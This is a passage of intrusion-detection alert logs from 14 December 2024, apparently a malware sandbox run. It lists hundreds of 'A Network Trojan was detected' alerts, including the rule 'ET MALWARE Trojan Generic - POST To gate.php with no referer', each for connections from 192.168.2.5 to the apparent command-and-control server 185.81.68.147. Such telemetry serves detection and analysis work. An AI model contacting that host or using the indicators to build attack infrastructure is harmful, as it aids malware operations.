2024-12-14T15:02:52.155059+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50511	185.81.68.147	80	TCP
2024-12-14T15:02:54.058249+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50512	185.81.68.147	80	TCP
2024-12-14T15:02:55.809143+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50514	185.81.68.147	80	TCP
2024-12-14T15:02:57.774626+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50516	185.81.68.147	80	TCP
2024-12-14T15:02:59.768466+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50517	185.81.68.147	80	TCP
2024-12-14T15:03:01.824002+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50519	185.81.68.147	80	TCP
2024-12-14T15:03:03.533716+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50520	185.81.68.147	80	TCP
2024-12-14T15:03:05.427437+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50522	185.81.68.147	80	TCP
2024-12-14T15:03:07.240934+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50524	185.81.68.147	80	TCP
2024-12-14T15:03:08.973667+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50525	185.81.68.147	80	TCP
2024-12-14T15:03:10.830742+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50527	185.81.68.147	80	TCP
2024-12-14T15:03:12.558839+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50528	185.81.68.147	80	TCP
2024-12-14T15:03:14.492646+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50530	185.81.68.147	80	TCP
2024-12-14T15:03:16.385914+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50531	185.81.68.147	80	TCP
2024-12-14T15:03:18.269243+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50533	185.81.68.147	80	TCP
2024-12-14T15:03:20.196400+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50536	185.81.68.147	80	TCP
2024-12-14T15:03:22.146528+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50537	185.81.68.147	80	TCP
2024-12-14T15:03:23.860974+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50539	185.81.68.147	80	TCP
2024-12-14T15:03:25.730981+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50541	185.81.68.147	80	TCP
2024-12-14T15:03:27.664483+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50542	185.81.68.147	80	TCP
2024-12-14T15:03:29.416894+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50544	185.81.68.147	80	TCP
2024-12-14T15:03:31.330936+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50545	185.81.68.147	80	TCP
2024-12-14T15:03:33.043703+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50547	185.81.68.147	80	TCP
2024-12-14T15:03:34.958036+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50548	185.81.68.147	80	TCP
2024-12-14T15:03:36.700740+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50550	185.81.68.147	80	TCP
2024-12-14T15:03:38.635387+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50552	185.81.68.147	80	TCP
2024-12-14T15:03:40.538430+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50553	185.81.68.147	80	TCP
2024-12-14T15:03:43.591948+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50555	185.81.68.147	80	TCP
2024-12-14T15:03:45.475287+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50557	185.81.68.147	80	TCP
2024-12-14T15:03:47.348841+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50559	185.81.68.147	80	TCP
2024-12-14T15:03:49.281893+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50561	185.81.68.147	80	TCP
2024-12-14T15:03:51.014909+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50563	185.81.68.147	80	TCP
2024-12-14T15:03:52.747480+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50566	185.81.68.147	80	TCP
2024-12-14T15:03:54.621032+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50568	185.81.68.147	80	TCP
2024-12-14T15:03:56.474698+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50569	185.81.68.147	80	TCP
2024-12-14T15:03:58.328252+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50571	185.81.68.147	80	TCP
2024-12-14T15:04:00.303261+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50573	185.81.68.147	80	TCP
2024-12-14T15:04:02.015826+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50574	185.81.68.147	80	TCP
2024-12-14T15:04:03.728442+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50576	185.81.68.147	80	TCP
2024-12-14T15:04:05.642242+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50577	185.81.68.147	80	TCP
2024-12-14T15:04:07.696294+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50579	185.81.68.147	80	TCP
2024-12-14T15:04:09.399329+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50580	185.81.68.147	80	TCP
2024-12-14T15:04:11.131392+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50582	185.81.68.147	80	TCP
2024-12-14T15:04:12.846413+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50583	185.81.68.147	80	TCP
2024-12-14T15:04:16.864066+0100	2022985	1	A Network Trojan was detected	192.168.2.5	50590	185.81.68.147	80	TCP

ET MALWARE Trojan Generic - POST To gate.php with no referer

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:15.495072+0100	2017930	1	A Network Trojan was detected	192.168.2.5	49845	185.81.68.147	80	TCP
2024-12-14T14:56:15.736302+0100	2017930	1	A Network Trojan was detected	192.168.2.5	49848	185.81.68.147	80	TCP
2024-12-14T14:56:17.505046+0100	2017930	1	A Network Trojan was detected	192.168.2.5	49853	185.81.68.147	80	TCP
2024-12-14T14:56:36.531297+0100	2017930	1	A Network Trojan was detected	192.168.2.5	49906	185.81.68.147	80	TCP
2024-12-14T14:56:38.397120+0100	2017930	1	A Network Trojan was detected	192.168.2.5	49912	185.81.68.147	80	TCP
2024-12-14T14:56:40.101469+0100	2017930	1	A Network Trojan was detected	192.168.2.5	49919	185.81.68.147	80	TCP
2024-12-14T14:56:42.056747+0100	2017930	1	A Network Trojan was detected	192.168.2.5	49925	185.81.68.147	80	TCP
2024-12-14T14:56:43.776229+0100	2017930	1	A Network Trojan was detected	192.168.2.5	49928	185.81.68.147	80	TCP
2024-12-14T14:56:45.506190+0100	2017930	1	A Network Trojan was detected	192.168.2.5	49934	185.81.68.147	80	TCP
2024-12-14T14:56:47.521205+0100	2017930	1	A Network Trojan was detected	192.168.2.5	49943	185.81.68.147	80	TCP
2024-12-14T14:56:49.381296+0100	2017930	1	A Network Trojan was detected	192.168.2.5	49950	185.81.68.147	80	TCP
2024-12-14T14:56:51.463067+0100	2017930	1	A Network Trojan was detected	192.168.2.5	49956	185.81.68.147	80	TCP
2024-12-14T14:56:53.191858+0100	2017930	1	A Network Trojan was detected	192.168.2.5	49963	185.81.68.147	80	TCP
2024-12-14T14:56:55.352779+0100	2017930	1	A Network Trojan was detected	192.168.2.5	49969	185.81.68.147	80	TCP
2024-12-14T14:56:57.306868+0100	2017930	1	A Network Trojan was detected	192.168.2.5	49975	185.81.68.147	80	TCP
2024-12-14T14:56:57.920071+0100	2017930	1	A Network Trojan was detected	192.168.2.5	49978	185.81.68.147	80	TCP
2024-12-14T14:56:57.920183+0100	2017930	1	A Network Trojan was detected	192.168.2.5	49979	185.81.68.147	80	TCP
2024-12-14T14:56:59.295247+0100	2017930	1	A Network Trojan was detected	192.168.2.5	49984	185.81.68.147	80	TCP
2024-12-14T14:57:01.004838+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50007	185.81.68.147	80	TCP
2024-12-14T14:57:03.132837+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50025	185.81.68.147	80	TCP
2024-12-14T14:57:05.040192+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50034	185.81.68.147	80	TCP
2024-12-14T14:57:06.705753+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50038	185.81.68.147	80	TCP
2024-12-14T14:57:08.381655+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50044	185.81.68.147	80	TCP
2024-12-14T14:57:10.755852+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50058	185.81.68.147	80	TCP
2024-12-14T14:57:13.771267+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50088	185.81.68.147	80	TCP
2024-12-14T14:57:15.650359+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50105	185.81.68.147	80	TCP
2024-12-14T14:57:17.343878+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50122	185.81.68.147	80	TCP
2024-12-14T14:57:19.080577+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50129	185.81.68.147	80	TCP
2024-12-14T14:57:20.865599+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50138	185.81.68.147	80	TCP
2024-12-14T14:57:21.271685+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50133	185.81.68.147	80	TCP
2024-12-14T14:57:21.272522+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50134	185.81.68.147	80	TCP
2024-12-14T14:57:21.272561+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50135	185.81.68.147	80	TCP
2024-12-14T14:57:21.272671+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50136	185.81.68.147	80	TCP
2024-12-14T14:57:21.518510+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50142	185.81.68.147	80	TCP
2024-12-14T14:57:21.518554+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50143	185.81.68.147	80	TCP
2024-12-14T14:57:21.519618+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50144	185.81.68.147	80	TCP
2024-12-14T14:57:21.538691+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50145	185.81.68.147	80	TCP
2024-12-14T14:57:22.707704+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50149	185.81.68.147	80	TCP
2024-12-14T14:57:24.582123+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50151	185.81.68.147	80	TCP
2024-12-14T14:57:27.526216+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50161	185.81.68.147	80	TCP
2024-12-14T14:57:29.503269+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50169	185.81.68.147	80	TCP
2024-12-14T14:57:31.293911+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50175	185.81.68.147	80	TCP
2024-12-14T14:57:33.226305+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50181	185.81.68.147	80	TCP
2024-12-14T14:57:35.006761+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50184	185.81.68.147	80	TCP
2024-12-14T14:57:36.895383+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50186	185.81.68.147	80	TCP
2024-12-14T14:57:38.819874+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50190	185.81.68.147	80	TCP
2024-12-14T14:57:40.847102+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50193	185.81.68.147	80	TCP
2024-12-14T14:57:42.743354+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50206	185.81.68.147	80	TCP
2024-12-14T14:57:44.610579+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50212	185.81.68.147	80	TCP
2024-12-14T14:57:46.639381+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50214	185.81.68.147	80	TCP
2024-12-14T14:57:48.607285+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50217	185.81.68.147	80	TCP
2024-12-14T14:57:50.552346+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50219	185.81.68.147	80	TCP
2024-12-14T14:57:52.318759+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50221	185.81.68.147	80	TCP
2024-12-14T14:57:54.320351+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50225	185.81.68.147	80	TCP
2024-12-14T14:57:56.254352+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50227	185.81.68.147	80	TCP
2024-12-14T14:57:58.148679+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50230	185.81.68.147	80	TCP
2024-12-14T14:58:00.085406+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50231	185.81.68.147	80	TCP
2024-12-14T14:58:01.995075+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50235	185.81.68.147	80	TCP
2024-12-14T14:58:03.868628+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50237	185.81.68.147	80	TCP
2024-12-14T14:58:05.745353+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50239	185.81.68.147	80	TCP
2024-12-14T14:58:07.823345+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50241	185.81.68.147	80	TCP
2024-12-14T14:58:09.571627+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50242	185.81.68.147	80	TCP
2024-12-14T14:58:11.505932+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50246	185.81.68.147	80	TCP
2024-12-14T14:58:13.301518+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50252	185.81.68.147	80	TCP
2024-12-14T14:58:15.274231+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50253	185.81.68.147	80	TCP
2024-12-14T14:58:17.192578+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50255	185.81.68.147	80	TCP
2024-12-14T14:58:18.922969+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50256	185.81.68.147	80	TCP
2024-12-14T14:58:20.778257+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50258	185.81.68.147	80	TCP
2024-12-14T14:58:22.696006+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50261	185.81.68.147	80	TCP
2024-12-14T14:58:24.407272+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50262	185.81.68.147	80	TCP
2024-12-14T14:58:26.342430+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50264	185.81.68.147	80	TCP
2024-12-14T14:58:28.176863+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50265	185.81.68.147	80	TCP
2024-12-14T14:58:30.103662+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50267	185.81.68.147	80	TCP
2024-12-14T14:58:32.059658+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50269	185.81.68.147	80	TCP
2024-12-14T14:58:33.792204+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50270	185.81.68.147	80	TCP
2024-12-14T14:58:35.704752+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50273	185.81.68.147	80	TCP
2024-12-14T14:58:37.547195+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50274	185.81.68.147	80	TCP
2024-12-14T14:58:39.480226+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50276	185.81.68.147	80	TCP
2024-12-14T14:58:41.716332+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50278	185.81.68.147	80	TCP
2024-12-14T14:58:43.711475+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50279	185.81.68.147	80	TCP
2024-12-14T14:58:45.678839+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50281	185.81.68.147	80	TCP
2024-12-14T14:58:47.551723+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50283	185.81.68.147	80	TCP
2024-12-14T14:58:49.457706+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50285	185.81.68.147	80	TCP
2024-12-14T14:58:51.315639+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50287	185.81.68.147	80	TCP
2024-12-14T14:58:53.245616+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50288	185.81.68.147	80	TCP
2024-12-14T14:58:55.298594+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50290	185.81.68.147	80	TCP
2024-12-14T14:58:57.293316+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50292	185.81.68.147	80	TCP
2024-12-14T14:58:59.207723+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50293	185.81.68.147	80	TCP
2024-12-14T14:59:01.210087+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50295	185.81.68.147	80	TCP
2024-12-14T14:59:03.044032+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50297	185.81.68.147	80	TCP
2024-12-14T14:59:04.930684+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50298	185.81.68.147	80	TCP
2024-12-14T14:59:07.971937+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50300	185.81.68.147	80	TCP
2024-12-14T14:59:09.946444+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50302	185.81.68.147	80	TCP
2024-12-14T14:59:11.829484+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50303	185.81.68.147	80	TCP
2024-12-14T14:59:13.511645+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50305	185.81.68.147	80	TCP
2024-12-14T14:59:15.304015+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50308	185.81.68.147	80	TCP
2024-12-14T14:59:17.056804+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50309	185.81.68.147	80	TCP
2024-12-14T14:59:18.930677+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50311	185.81.68.147	80	TCP
2024-12-14T14:59:20.844631+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50312	185.81.68.147	80	TCP
2024-12-14T14:59:22.761240+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50314	185.81.68.147	80	TCP
2024-12-14T14:59:24.651444+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50316	185.81.68.147	80	TCP
2024-12-14T14:59:26.524647+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50317	185.81.68.147	80	TCP
2024-12-14T14:59:28.448356+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50319	185.81.68.147	80	TCP
2024-12-14T14:59:30.241195+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50320	185.81.68.147	80	TCP
2024-12-14T14:59:32.104392+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50322	185.81.68.147	80	TCP
2024-12-14T14:59:34.020461+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50324	185.81.68.147	80	TCP
2024-12-14T14:59:35.742958+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50325	185.81.68.147	80	TCP
2024-12-14T14:59:37.727953+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50327	185.81.68.147	80	TCP
2024-12-14T14:59:39.620654+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50328	185.81.68.147	80	TCP
2024-12-14T14:59:41.514153+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50330	185.81.68.147	80	TCP
2024-12-14T14:59:43.227347+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50332	185.81.68.147	80	TCP
2024-12-14T14:59:45.180278+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50334	185.81.68.147	80	TCP
2024-12-14T14:59:47.437067+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50337	185.81.68.147	80	TCP
2024-12-14T14:59:49.311842+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50338	185.81.68.147	80	TCP
2024-12-14T14:59:51.105414+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50340	185.81.68.147	80	TCP
2024-12-14T14:59:52.858532+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50342	185.81.68.147	80	TCP
2024-12-14T14:59:54.772395+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50343	185.81.68.147	80	TCP
2024-12-14T14:59:56.686685+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50346	185.81.68.147	80	TCP
2024-12-14T14:59:58.680588+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50347	185.81.68.147	80	TCP
2024-12-14T15:00:00.597939+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50349	185.81.68.147	80	TCP
2024-12-14T15:00:02.469940+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50351	185.81.68.147	80	TCP
2024-12-14T15:00:04.373460+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50352	185.81.68.147	80	TCP
2024-12-14T15:00:06.276615+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50354	185.81.68.147	80	TCP
2024-12-14T15:00:08.270640+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50355	185.81.68.147	80	TCP
2024-12-14T15:00:10.204519+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50358	185.81.68.147	80	TCP
2024-12-14T15:00:12.077859+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50360	185.81.68.147	80	TCP
2024-12-14T15:00:13.971251+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50361	185.81.68.147	80	TCP
2024-12-14T15:00:15.844673+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50366	185.81.68.147	80	TCP
2024-12-14T15:00:17.839368+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50368	185.81.68.147	80	TCP
2024-12-14T15:00:19.798920+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50369	185.81.68.147	80	TCP
2024-12-14T15:00:21.586582+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50371	185.81.68.147	80	TCP
2024-12-14T15:00:23.318835+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50372	185.81.68.147	80	TCP
2024-12-14T15:00:25.272721+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50374	185.81.68.147	80	TCP
2024-12-14T15:00:27.206578+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50376	185.81.68.147	80	TCP
2024-12-14T15:00:29.018242+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50377	185.81.68.147	80	TCP
2024-12-14T15:00:30.963844+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50379	185.81.68.147	80	TCP
2024-12-14T15:00:33.069424+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50380	185.81.68.147	80	TCP
2024-12-14T15:00:34.982292+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50382	185.81.68.147	80	TCP
2024-12-14T15:00:36.917063+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50385	185.81.68.147	80	TCP
2024-12-14T15:00:38.770638+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50386	185.81.68.147	80	TCP
2024-12-14T15:00:40.543415+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50388	185.81.68.147	80	TCP
2024-12-14T15:00:42.437634+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50389	185.81.68.147	80	TCP
2024-12-14T15:00:44.512475+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50391	185.81.68.147	80	TCP
2024-12-14T15:00:46.305501+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50393	185.81.68.147	80	TCP
2024-12-14T15:00:48.320387+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50396	185.81.68.147	80	TCP
2024-12-14T15:00:50.214509+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50398	185.81.68.147	80	TCP
2024-12-14T15:00:51.968758+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50399	185.81.68.147	80	TCP
2024-12-14T15:00:53.861831+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50401	185.81.68.147	80	TCP
2024-12-14T15:00:55.936325+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50403	185.81.68.147	80	TCP
2024-12-14T15:00:57.748640+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50404	185.81.68.147	80	TCP
2024-12-14T15:00:59.641994+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50406	185.81.68.147	80	TCP
2024-12-14T15:01:01.635905+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50408	185.81.68.147	80	TCP
2024-12-14T15:01:03.589922+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50410	185.81.68.147	80	TCP
2024-12-14T15:01:05.813818+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50412	185.81.68.147	80	TCP
2024-12-14T15:01:07.678873+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50413	185.81.68.147	80	TCP
2024-12-14T15:01:09.673604+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50415	185.81.68.147	80	TCP
2024-12-14T15:01:11.587459+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50417	185.81.68.147	80	TCP
2024-12-14T15:01:13.461287+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50418	185.81.68.147	80	TCP
2024-12-14T15:01:15.396496+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50420	185.81.68.147	80	TCP
2024-12-14T15:01:17.300563+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50421	185.81.68.147	80	TCP
2024-12-14T15:01:19.184735+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50423	185.81.68.147	80	TCP
2024-12-14T15:01:20.937676+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50425	185.81.68.147	80	TCP
2024-12-14T15:01:22.852244+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50426	185.81.68.147	80	TCP
2024-12-14T15:01:24.745871+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50428	185.81.68.147	80	TCP
2024-12-14T15:01:26.702640+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50429	185.81.68.147	80	TCP
2024-12-14T15:01:28.472154+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50431	185.81.68.147	80	TCP
2024-12-14T15:01:30.164467+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50433	185.81.68.147	80	TCP
2024-12-14T15:01:32.130915+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50435	185.81.68.147	80	TCP
2024-12-14T15:01:34.072445+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50437	185.81.68.147	80	TCP
2024-12-14T15:01:35.950000+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50438	185.81.68.147	80	TCP
2024-12-14T15:01:37.766061+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50440	185.81.68.147	80	TCP
2024-12-14T15:01:39.640132+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50442	185.81.68.147	80	TCP
2024-12-14T15:01:41.673765+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50443	185.81.68.147	80	TCP
2024-12-14T15:01:43.567213+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50445	185.81.68.147	80	TCP
2024-12-14T15:01:45.460669+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50446	185.81.68.147	80	TCP
2024-12-14T15:01:47.193047+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50448	185.81.68.147	80	TCP
2024-12-14T15:01:49.077574+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50450	185.81.68.147	80	TCP
2024-12-14T15:01:50.960609+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50451	185.81.68.147	80	TCP
2024-12-14T15:01:52.854298+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50453	185.81.68.147	80	TCP
2024-12-14T15:01:54.747927+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50454	185.81.68.147	80	TCP
2024-12-14T15:01:56.640791+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50456	185.81.68.147	80	TCP
2024-12-14T15:01:58.313016+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50459	185.81.68.147	80	TCP
2024-12-14T15:02:00.351854+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50460	185.81.68.147	80	TCP
2024-12-14T15:02:02.081069+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50462	185.81.68.147	80	TCP
2024-12-14T15:02:04.135348+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50463	185.81.68.147	80	TCP
2024-12-14T15:02:06.133624+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50465	185.81.68.147	80	TCP
2024-12-14T15:02:07.842680+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50467	185.81.68.147	80	TCP
2024-12-14T15:02:09.887682+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50468	185.81.68.147	80	TCP
2024-12-14T15:02:11.891307+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50471	185.81.68.147	80	TCP
2024-12-14T15:02:13.825389+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50474	185.81.68.147	80	TCP
2024-12-14T15:02:15.729457+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50477	185.81.68.147	80	TCP
2024-12-14T15:02:17.572085+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50479	185.81.68.147	80	TCP
2024-12-14T15:02:19.667353+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50480	185.81.68.147	80	TCP
2024-12-14T15:02:21.571157+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50482	185.81.68.147	80	TCP
2024-12-14T15:02:23.554718+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50484	185.81.68.147	80	TCP
2024-12-14T15:02:25.569551+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50486	185.81.68.147	80	TCP
2024-12-14T15:02:27.624087+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50488	185.81.68.147	80	TCP
2024-12-14T15:02:29.518020+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50489	185.81.68.147	80	TCP
2024-12-14T15:02:31.290535+0100	2017930	1	A Network Trojan was detected	192.168.2.5	50491	185.81.68.147	80	TCP
